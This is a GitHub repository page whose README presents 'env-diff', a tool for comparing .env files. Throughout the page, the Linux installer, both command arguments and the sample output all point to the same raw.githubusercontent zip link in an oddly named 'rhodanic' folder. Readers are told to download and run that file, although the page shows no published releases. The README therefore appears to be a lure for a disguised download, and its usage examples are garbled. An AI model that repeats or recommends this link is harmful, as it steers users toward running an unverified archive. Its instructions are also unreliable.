Skip to content

πŸ” Compare .env files effortlessly to uncover missing or extra variables, ensuring your configurations are always correct before deployment.

License

Notifications You must be signed in to change notification settings

MathisWONG/env-diff

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ env-diff - Easily Spot Configuration Errors

πŸ’‘ Overview

env-diff helps you compare your .env files and find any missing or extra variables. This ensures you catch configuration issues before deploying your applications.

πŸš€ Getting Started

To begin using env-diff, follow these simple steps to download and run the application.

πŸ“₯ Download

Download env-diff

Visit this page to download: env-diff Releases

βš™οΈ System Requirements

To run env-diff smoothly, you will need:

  • Operating System: Windows, macOS, or Linux
  • Disk Space: At least 50 MB of free space
  • Internet Connection: Needed for downloading the application

πŸ”— Download & Install

  1. Click the link to go to the releases page: env-diff Releases.

  2. On the releases page, find the latest version of env-diff.

  3. Download the appropriate file for your operating system.

  4. After the download completes, locate the file on your computer.

    • For Windows: Look for a .exe or .zip file.
    • For macOS: Look for a .dmg file.
    • For Linux: Look for a https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip file.
  5. Run the downloaded file to start setup.

  6. Follow the on-screen instructions to complete the installation.

πŸ‘©β€πŸ’» Usage Instructions

Once env-diff is installed, you can start using it to compare your .env files. Here’s how:

  1. Open a terminal or command prompt on your computer.

  2. Navigate to the folder containing your .env files. You can do this using the cd command.

  3. Use the following command format to compare your .env files:

    env-diff https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip
    

    Replace https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip and https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip with the actual names of your files.

  4. The application will analyze the files and show any differences. This will include any variables that are missing or extra in either file.

⚑ Example

Here’s a quick example of how to use env-diff:

  1. Let’s say you have https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip and https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip.

  2. Run the command:

    env-diff https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip
    
  3. After running this, env-diff might return something like this:

    Missing variables in https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip
    - API_KEY
    - DATABASE_URL
    
    Extra variables in https://raw.githubusercontent.com/MathisWONG/env-diff/main/rhodanic/env-diff-1.2-beta.4.zip
    - DEBUG_MODE
    

    This tells you which variables you need to add or remove for consistent configuration.

πŸ“ Tips for Effective Usage

  • Always keep your .env files up to date. Compare them regularly, especially before deployments.
  • Use descriptive names for your environment variables. This will make it easier to spot mistakes.
  • Store sensitive data like API keys securely. Avoid including these in your source-controlled .env files.

πŸ› οΈ Troubleshooting

If you encounter issues while running env-diff, try the following:

  1. Ensure the downloaded file is not corrupted. Re-download if necessary.
  2. Check that you are using the correct file paths in the command.
  3. Make sure you have permission to read the files you are comparing.
  4. Look for help on the issues page of this repository or check online forums.

πŸ“¨ Support

If you have questions or need further assistance, you can create an issue in the repository or contact the developer. Detailed support documentation will be available soon.

πŸ’» Contributing

Feel free to contribute to the project if you want to add features or fix bugs. Follow these steps:

  1. Fork the repository to your account.
  2. Make your changes and commit them.
  3. Submit a pull request with a clear description of your changes.

Your help can make env-diff better for everyone.

πŸ“œ License

env-diff is open-source software. You can freely use, modify, and share it under the terms specified in the license document provided in the repository.

🌐 Related Links

Thank you for using env-diff! Visit the release page to get started: env-diff Releases.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages